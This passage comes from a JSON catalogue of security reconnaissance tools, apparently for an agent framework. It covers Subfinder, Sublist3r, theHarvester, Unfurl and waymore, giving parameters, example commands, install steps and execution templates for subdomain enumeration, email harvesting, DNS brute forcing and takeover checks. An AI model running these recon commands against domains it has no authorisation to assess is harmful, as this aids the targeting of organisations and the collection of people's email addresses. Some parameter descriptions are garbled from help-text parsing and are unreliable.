        "type": "string",
        "required": false,
        "default_value": null,
        "description": "IP and port for web UI",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": "tab",
        "description": "Output format (tab, csv, json)",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Disable logging",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Target for the scan",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Event types to collect",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-u",
        "template_key": "flag-u",
        "type": "string",
        "required": false,
        "default_value": "passive",
        "description": "Use case (all, footprint, investigate, passive)",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-x",
        "template_key": "flag-x",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Strict mode",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "show this help message and exit",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "m",
        "type": "boolean",
        "required": false,
        "description": "mod1,mod2,...      Modules to enable.",
        "aliases": [
          "-m"
        ],
        "flag": "-m"
      },
      {
        "name": "max-threads",
        "template_key": "max-threads",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Max modules to run concurrently",
        "aliases": [
          "-max-threads"
        ],
        "flag": "-max-threads"
      },
      {
        "name": "n",
        "type": "boolean",
        "required": false,
        "description": "Strip newlines from data.",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "r",
        "type": "boolean",
        "required": false,
        "description": "Include the source data field.",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "SpiderFoot GitHub",
        "url": "https://github.com/smicallef/spiderfoot"
      },
      {
        "label": "SpiderFoot Documentation",
        "url": "https://www.spiderfoot.net/documentation/"
      }
    ],
    "related_tools": [
      "recon-ng",
      "maltego",
      "theharvester",
      "shodan"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 256,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "enumeration",
      "recon"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "recon-data",
        "scan-results",
        "correlated-events"
      ],
      "consumes": [
        "domain",
        "ip-address",
        "email",
        "url"
      ]
    }
  },
  {
    "_body": "\n# Subfinder — Passive Subdomain Discovery\n\nSubfinder is a fast passive subdomain enumeration tool from ProjectDiscovery. It queries over 40 online sources including certificate transparency logs, search engines, and threat intelligence platforms to discover valid subdomains without actively probing the target.\n\n## Features\n\n- **40+ passive sources**: Certificate transparency, DNS datasets, search engines, APIs\n- **Fast and stealthy**: No direct contact with target infrastructure\n- **Easy integration**: STDIN/STDOUT for pipeline workflows\n- **Configurable**: Per-source rate limiting, source selection, proxy support\n\n## Basic Usage\n\n```bash\n# Standard subdomain enumeration\nsubfinder -d example.com\n\n# Full results with all sources\nsubfinder -d example.com -all -oJ\n\n# Pipe to httpx for HTTP probing\nsubfinder -d example.com -silent | httpx -title -status-code\n```\n",
    "_source": "subfinder.md",
    "allowed-tools": [
      "subfinder",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "security.recon.subdomain.list",
        "description": "List of discovered subdomains",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "security.recon.subdomain.json",
        "description": "Subdomains in JSONL format",
        "mime": "application/json",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.discovery.subdomain",
      "security.recon.passive",
      "network.discovery.dns",
      "network.discovery.dns-resolve"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.domain",
          "description": "Target domain name"
        },
        {
          "type": "network.target.domain.list",
          "description": "File containing multiple domains"
        }
      ],
      "outputs": [
        {
          "type": "security.recon.subdomain.list",
          "description": "List of discovered subdomains",
          "mime": "text/plain"
        },
        {
          "type": "security.recon.subdomain.json",
          "description": "JSONL output with source metadata",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fast passive subdomain discovery tool from ProjectDiscovery that queries dozens of online sources to find valid subdomains for target domains.",
    "examples": [
      {
        "description": "Basic subdomain enumeration for a single domain",
        "command": "subfinder -d example.com"
      },
      {
        "description": "Use all available sources",
        "command": "subfinder -d example.com -all"
      },
      {
        "description": "Save output to a file",
        "command": "subfinder -d example.com -o results.txt"
      },
      {
        "description": "JSON output for pipeline integration",
        "command": "subfinder -d example.com -oJ"
      },
      {
        "description": "Silent mode — only print subdomains",
        "command": "subfinder -d example.com -silent"
      },
      {
        "description": "Use specific sources only",
        "command": "subfinder -d example.com -s crtsh,github"
      },
      {
        "description": "Exclude certain sources",
        "command": "subfinder -d example.com -es alienvault,zoomeyeapi"
      },
      {
        "description": "Rate limit to 10 requests per second",
        "command": "subfinder -d example.com -rl 10"
      },
      {
        "description": "Active subdomain resolution",
        "command": "subfinder -d example.com -nW"
      },
      {
        "description": "Enumerate multiple domains from a file",
        "command": "subfinder -dL domains.txt"
      },
      {
        "description": "List all available data sources",
        "command": "subfinder -ls"
      }
    ],
    "execution": {
      "template": "subfinder -d {domain} -o {output}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "network-intensive"
    ],
    "global_vars": {
      "target": "domain",
      "domain": "example.com",
      "output": "subdomains.txt"
    },
    "id": "security-recon-subfinder",
    "install": [
      {
        "method": "go",
        "repo_url": "github.com/projectdiscovery/subfinder/v2/cmd/subfinder",
        "commands": [
          "go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest"
        ]
      },
      {
        "method": "apt",
        "package_name": "subfinder",
        "commands": [
          "apt-get install -y subfinder"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1595"
    ],
    "name": "subfinder",
    "namespace": "security:recon:subfinder",
    "parameters": [
      {
        "name": "all",
        "template_key": "all",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Use all sources for enumeration",
        "aliases": [
          "-all"
        ],
        "flag": "-all"
      },
      {
        "name": "es",
        "type": "boolean",
        "required": false,
        "description": "string[]  sources to exclude from enumeration",
        "aliases": [
          "-es",
          "-exclude-sources"
        ],
        "flag": "-es"
      },
      {
        "name": "f",
        "type": "boolean",
        "required": false,
        "description": "string[]   subdomain or list of subdomain to filter",
        "aliases": [
          "-f",
          "-filter"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Target domain to find subdomains for",
        "aliases": [
          "-d",
          "-domain"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-dL",
        "template_key": "flag-dL",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "File containing list of domains",
        "aliases": [
          "-dL",
          "-list"
        ],
        "flag": "-dL"
      },
      {
        "name": "flag-nW",
        "template_key": "flag-nW",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Display active subdomains only",
        "aliases": [
          "-nW",
          "-active"
        ],
        "flag": "-nW"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "File to write output to",
        "aliases": [
          "-o",
          "-output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-oJ",
        "template_key": "flag-oJ",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "JSONL output format",
        "aliases": [
          "-oJ",
          "-json"
        ],
        "flag": "-oJ"
      },
      {
        "name": "flag-rl",
        "template_key": "flag-rl",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Max HTTP requests per second",
        "aliases": [
          "-rl",
          "-rate-limit"
        ],
        "flag": "-rl"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "integer",
        "required": false,
        "default_value": 10,
        "description": "Number of concurrent goroutines",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "ls",
        "type": "boolean",
        "required": false,
        "description": "list all available sources",
        "aliases": [
          "-ls",
          "-list-sources"
        ],
        "flag": "-ls"
      },
      {
        "name": "m",
        "type": "boolean",
        "required": false,
        "description": "string[]   subdomain or list of subdomain to match",
        "aliases": [
          "-m",
          "-match"
        ],
        "flag": "-m"
      },
      {
        "name": "oD",
        "type": "boolean",
        "required": false,
        "description": "only)",
        "aliases": [
          "-oD",
          "-output-dir",
          "-dL"
        ],
        "flag": "-oD"
      },
      {
        "name": "r",
        "type": "boolean",
        "required": false,
        "description": "string[]                   comma separated list of resolvers to use",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "recursive",
        "template_key": "recursive",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Use only recursive-capable sources",
        "aliases": [
          "-recursive"
        ],
        "flag": "-recursive"
      },
      {
        "name": "s",
        "type": "boolean",
        "required": false,
        "description": "to display all available sources.",
        "aliases": [
          "-s",
          "-sources",
          "-s",
          "-ls"
        ],
        "flag": "-s"
      },
      {
        "name": "silent",
        "template_key": "silent",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Show only subdomains in output",
        "aliases": [
          "-silent"
        ],
        "flag": "-silent"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": "show verbose output",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Subfinder GitHub",
        "url": "https://github.com/projectdiscovery/subfinder"
      },
      {
        "label": "Subfinder Documentation",
        "url": "https://docs.projectdiscovery.io/opensource/subfinder/overview"
      }
    ],
    "related_tools": [
      "amass",
      "assetfinder",
      "dnsenum",
      "fierce",
      "httpx"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "enumeration"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "subdomains",
        "resolved-ips"
      ],
      "consumes": [
        "domain"
      ]
    }
  },
  {
    "_body": "\n# Sublist3r — Subdomain Enumeration Tool\n\nSublist3r is an OSINT-based subdomain enumeration tool designed for penetration testers and security researchers. It leverages multiple search engines (Google, Yahoo, Bing, Baidu, Ask) and other sources like Netcraft, DNSDumpster, and VirusTotal to discover subdomains.\n\n## Usage\n\n```bash\n# Basic enumeration\nsublist3r -d example.com\n\n# Save to file\nsublist3r -d example.com -o subdomains.txt\n\n# Enable bruteforce\nsublist3r -d example.com -b\n\n# Specify engines\nsublist3r -d example.com -e google,yahoo\n\n# Increase threads\nsublist3r -d example.com -t 100\n```\n",
    "_source": "sublist3r.md",
    "allowed-tools": [
      "sublist3r",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "dns.subdomain.list",
        "description": "Discovered subdomains list",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery",
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "dns.enum.subdomain",
      "osint.discovery.subdomain",
      "osint.search.engine"
    ],
    "contract": {
      "inputs": [
        {
          "type": "domain.name",
          "description": "Target domain name"
        }
      ],
      "outputs": [
        {
          "type": "dns.subdomain.list",
          "description": "List of discovered subdomains",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "OSINT subdomain enumeration tool that uses search engines, DNS services, and certificate transparency logs to discover subdomains of a target domain.",
    "examples": [
      {
        "description": "Basic subdomain enumeration",
        "command": "sublist3r -d example.com"
      },
      {
        "description": "Save results to file with verbose output",
        "command": "sublist3r -d example.com -o subdomains.txt -v"
      },
      {
        "description": "Use specific search engines only",
        "command": "sublist3r -d example.com -e baidu,yahoo,google"
      },
      {
        "description": "Enable bruteforce with 50 threads",
        "command": "sublist3r -d example.com -b -t 50"
      }
    ],
    "execution": {
      "template": "sublist3r {flag-verbose} {flag-no-color} {flag-bruteforce} {flag-threads} {flag-ports} {flag-engines} {flag-output} -d {domain}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "encryption",
      "file-system",
      "pipes-stdout",
      "process-manip"
    ],
    "id": "security-recon-sublist3r",
    "install": [
      {
        "method": "pip",
        "package_name": "sublist3r",
        "commands": [
          "pip install sublist3r"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1595"
    ],
    "name": "sublist3r",
    "namespace": "security:recon:sublist3r",
    "parameters": [
      {
        "name": "domain",
        "type": "string",
        "required": true,
        "description": "Target domain name",
        "aliases": [
          "-d",
          "--domain"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-ports",
        "type": "string",
        "required": false,
        "description": "Ports to scan for HTTP/HTTPS on discovered subdomains",
        "aliases": [
          "-p",
          "--ports"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-threads",
        "type": "integer",
        "required": false,
        "description": "Number of threads for enumeration",
        "aliases": [
          "-t",
          "--threads"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-engines",
        "type": "string",
        "required": false,
        "description": "Comma-separated list of search engines to use",
        "aliases": [
          "-e",
          "--engines"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-no-color",
        "type": "boolean",
        "required": false,
        "description": "Disable colored output",
        "aliases": [
          "-n",
          "--no-color"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-bruteforce",
        "type": "boolean",
        "required": false,
        "description": "Enable subdomain bruteforce",
        "aliases": [
          "-b",
          "--bruteforce"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-output",
        "type": "string",
        "required": false,
        "description": "Output file for results",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-verbose",
        "type": "boolean",
        "required": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      }
    ],
    "phase": "recon",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Sublist3r GitHub",
        "url": "https://github.com/aboul3la/Sublist3r"
      }
    ],
    "related_tools": [
      "amass",
      "subfinder",
      "assetfinder",
      "dnsrecon",
      "fierce"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [
      "DNS"
    ],
    "techniques": [
      "recon",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "subdomain-list"
      ],
      "consumes": [
        "target-domain"
      ]
    }
  },
  {
    "_body": "\n# theHarvester — OSINT Intelligence Gathering\n\ntheHarvester is a comprehensive OSINT tool designed for gathering emails, subdomains, IP addresses, and URLs from over 50 public data sources. It is widely used in the reconnaissance phase of penetration testing and red team engagements.\n\n## Data Sources\n\ntheHarvester supports 50+ data sources including:\n- Search engines: Google, Bing, Yahoo, DuckDuckGo, Baidu\n- Certificate transparency: crt.sh, CertSpotter\n- Threat intelligence: VirusTotal, AlienVault, Shodan\n- DNS: DNSDumpster, SecurityTrails\n- Code repos: GitHub, GitLab\n\n## Output\n\n```bash\n# Save results to XML and JSON\ntheHarvester -d example.com -b all -f output\n\n# DNS resolution and brute forcing\ntheHarvester -d example.com -c -n\n```\n",
    "_source": "theharvester.md",
    "allowed-tools": [
      "theHarvester",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "security.intel.email.list",
        "description": "Discovered email addresses",
        "mime": "text/plain",
        "trust_level": "community"
      },
      {
        "type": "security.recon.subdomain.list",
        "description": "Discovered subdomains",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "security.intel.host.list",
        "description": "Discovered hosts and IP addresses",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.intel.email",
      "network.discovery.subdomain",
      "security.recon.passive",
      "security.intel.osint",
      "security.intel.host"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.domain",
          "description": "Company name or domain to search"
        }
      ],
      "outputs": [
        {
          "type": "security.intel.email.list",
          "description": "Found email addresses",
          "mime": "text/plain"
        },
        {
          "type": "security.recon.subdomain.list",
          "description": "Found subdomains",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "OSINT tool for gathering emails, subdomains, IP addresses, and URLs from public data sources for a target domain.",
    "examples": [
      {
        "description": "Gather emails and subdomains from all sources",
        "command": "theHarvester -d example.com -b all"
      },
      {
        "description": "Search Google for email addresses",
        "command": "theHarvester -d example.com -b google -l 200"
      },
      {
        "description": "Query certificate transparency logs for subdomains",
        "command": "theHarvester -d example.com -b crtsh"
      },
      {
        "description": "Use Shodan to find host information",
        "command": "theHarvester -d example.com -b shodan -s"
      },
      {
        "description": "DNS brute force with custom wordlist",
        "command": "theHarvester -d example.com -c -w /usr/share/wordlists/subdomains.txt"
      },
      {
        "description": "Check for subdomain takeover vulnerabilities",
        "command": "theHarvester -d example.com -b crtsh -t"
      },
      {
        "description": "Save results to file",
        "command": "theHarvester -d example.com -b all -f results"
      },
      {
        "description": "Use proxies to avoid rate limiting",
        "command": "theHarvester -d example.com -b google -p"
      }
    ],
    "execution": {
      "template": "theHarvester -d {domain} -b {source} -l {limit}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "network-intensive"
    ],
    "global_vars": {
      "target": "domain",
      "domain": "example.com",
      "source": "all",
      "limit": "500"
    },
    "id": "security-recon-theharvester",
    "install": [
      {
        "method": "apt",
        "package_name": "theharvester",
        "commands": [
          "apt-get install -y theharvester"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1595"
    ],
    "name": "theHarvester",
    "namespace": "security:recon:theharvester",
    "parameters": [
      {
        "name": "api_scan",
        "type": "boolean",
        "required": false,
        "description": "Scan for API endpoints.",
        "aliases": [
          "--api-scan"
        ],
        "flag": "--api-scan"
      },
      {
        "name": "e",
        "type": "boolean",
        "required": false,
        "description": "DNS_SERVER  DNS server to use for lookup.",
        "aliases": [
          "-e",
          "--dns-server"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": true,
        "default_value": "all",
        "description": "Data source to use",
        "aliases": [
          "-b",
          "--source"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "DNS brute force",
        "aliases": [
          "-c",
          "--dns-brute"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Company name or domain to search",
        "aliases": [
          "-d",
          "--domain"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Save results to XML and JSON file",
        "aliases": [
          "-f",
          "--filename"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "integer",
        "required": false,
        "default_value": 500,
        "description": "Limit search results",
        "aliases": [
          "-l",
          "--limit"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Suppress missing API key warnings",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Use Shodan to query discovered hosts",
        "aliases": [
          "-s",
          "--shodan"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Check for takeovers",
        "aliases": [
          "-t",
          "--take-over"
        ],
        "flag": "-t"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "show this help message and exit",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "n",
        "type": "boolean",
        "required": false,
        "description": "Enable DNS server lookup, default False.",
        "aliases": [
          "-n",
          "--dns-lookup"
        ],
        "flag": "-n"
      },
      {
        "name": "p",
        "type": "boolean",
        "required": false,
        "description": "Use proxies for requests, enter proxies in proxies.yaml.",
        "aliases": [
          "-p",
          "--proxies"
        ],
        "flag": "-p"
      },
      {
        "name": "r",
        "type": "boolean",
        "required": false,
        "description": "Perform DNS resolution on subdomains",
        "aliases": [
          "-r",
          "--dns-resolve"
        ],
        "flag": "-r"
      },
      {
        "name": "screenshot",
        "type": "boolean",
        "required": false,
        "description": "SCREENSHOT  Take screenshots of resolved domains specify output dir",
        "aliases": [
          "--screenshot"
        ],
        "flag": "--screenshot"
      },
      {
        "name": "w",
        "type": "boolean",
        "required": false,
        "description": "WORDLIST  Specify a wordlist for API endpoint scanning.",
        "aliases": [
          "-w",
          "--wordlist"
        ],
        "flag": "-w"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "theHarvester GitHub",
        "url": "https://github.com/laramies/theHarvester"
      }
    ],
    "related_tools": [
      "recon-ng",
      "spiderfoot",
      "amass",
      "subfinder"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "enumeration"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "email-addresses",
        "subdomains",
        "hosts",
        "urls"
      ],
      "consumes": [
        "domain"
      ]
    }
  },
  {
    "_body": "\n# Unfurl — URL Extraction and Analysis\n\nUnfurl is a Go tool by tomnomnom for extracting and analyzing URLs. It parses URLs from stdin and outputs specific components like domains, paths, query parameters, and values — useful for processing large URL lists from recon tools.\n\n## Usage\n\n```bash\n# Extract unique domains\ncat urls.txt | unfurl unique domains\n\n# Extract paths\ncat urls.txt | unfurl paths\n\n# Extract parameter keys\ncat urls.txt | unfurl keys\n\n# Extract parameter values\ncat urls.txt | unfurl values\n\n# Extract key=value combos\ncat urls.txt | unfurl combos\n```\n",
    "_source": "unfurl.md",
    "allowed-tools": [
      "unfurl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.url.components",
        "description": "Extracted URL components",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery",
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.recon.url-parse",
      "web.recon.url-extract",
      "web.recon.data-filter"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.url.list",
          "description": "List of URLs to analyze"
        }
      ],
      "outputs": [
        {
          "type": "web.url.components",
          "description": "Extracted URL components by category",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "URL extraction and analysis tool by tomnomnom that parses URLs and extracts components (domains, paths, params, values) for recon and data processing.",
    "examples": [
      {
        "description": "Extract unique domains from URLs",
        "command": "cat urls.txt | unfurl unique domains"
      },
      {
        "description": "Extract paths from URLs",
        "command": "cat urls.txt | unfurl paths"
      },
      {
        "description": "Extract URL parameter keys",
        "command": "cat urls.txt | unfurl keys"
      },
      {
        "description": "Extract parameter values",
        "command": "cat urls.txt | unfurl values"
      },
      {
        "description": "Extract key=value pairs",
        "command": "cat urls.txt | unfurl combos"
      }
    ],
    "execution": {
      "template": "unfurl {flag-unique} {mode}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "pipes-stdin",
      "process-manip"
    ],
    "id": "security-recon-unfurl",
    "install": [
      {
        "method": "go",
        "repo_url": "github.com/tomnomnom/unfurl",
        "commands": [
          "go install github.com/tomnomnom/unfurl@latest"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1595"
    ],
    "name": "unfurl",
    "namespace": "security:recon:unfurl",
    "parameters": [
      {
        "name": "flag-unique",
        "type": "boolean",
        "required": false,
        "description": "Unique values only",
        "aliases": [
          "-u",
          "--unique"
        ],
        "flag": "-u"
      },
      {
        "name": "mode",
        "type": "string",
        "required": false,
        "description": "Extraction mode (domains, paths, keys, values, combos)"
      },
      {
        "name": "flag-input",
        "type": "string",
        "required": false,
        "description": "Input file (default: stdin)",
        "aliases": [
          "-i",
          "--input"
        ],
        "flag": "-i"
      }
    ],
    "phase": "recon",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Unfurl GitHub",
        "url": "https://github.com/tomnomnom/unfurl"
      }
    ],
    "related_tools": [
      "waybackurls",
      "gau",
      "waymore",
      "katana"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "recon",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "url-components",
        "extracted-domains",
        "extracted-paths"
      ],
      "consumes": [
        "url-list"
      ]
    }
  },
  {
    "_body": "\n# waymore — Wayback Machine URL Enumerator\n\nwaymore is a Python-based tool for fetching historical URLs from the Internet Archive (Wayback Machine). It extends basic wayback URL fetching with filtering, status code checking, and content retrieval capabilities.\n\n## Usage\n\n```bash\n# Basic URL discovery\nwaymore -i example.com\n\n# Fetch status codes\nwaymore -i example.com -f\n\n# Filter URLs with parameters only\nwaymore -i example.com -m only-params\n\n# Save to custom directory\nwaymore -i example.com -o ./results\n```\n",
    "_source": "waymore.md",
    "allowed-tools": [
      "waymore",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.url.list",
        "description": "Historical URLs from Wayback Machine",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery",
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.recon.historical-url",
      "osint.discovery.url",
      "web.recon.wayback"
    ],
    "contract": {
      "inputs": [
        {
          "type": "domain.name",
          "description": "Target domain name"
        }
      ],
      "outputs": [
        {
          "type": "web.url.list",
          "description": "Discovered historical URLs",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 128,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Enhanced wayback machine URL fetcher that retrieves historical URLs from Internet Archive and filters results using customizable patterns.",
    "examples": [
      {
        "description": "Basic URL discovery",
        "command": "waymore -i example.com"
      },
      {
        "description": "Fetch URL status codes",
        "command": "waymore -i example.com -f"
      },
      {
        "description": "Only URLs with parameters",
        "command": "waymore -i example.com -m only-params"
      }
    ],
    "execution": {
      "template": "waymore {flag-mode} {flag-fetch} {flag-pull} {flag-verbose} -i {target} {flag-output}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "pipes-stdin"
    ],
    "id": "security-recon-waymore",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/xnl-h4ck3r/waymore",
        "commands": [
          "git clone https://github.com/xnl-h4ck3r/waymore.git",
          "cd waymore && pip install -r requirements.txt"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1595"
    ],
    "name": "waymore",
    "namespace": "security:recon:waymore",
    "parameters": [
      {
        "name": "target",
        "type": "string",
        "required": true,
        "description": "Target domain name",
        "aliases": [
          "-i",
          "--input"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-output",
        "type": "string",
        "required": false,
        "description": "Output directory for results",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-mode",
        "type": "string",
        "required": false,
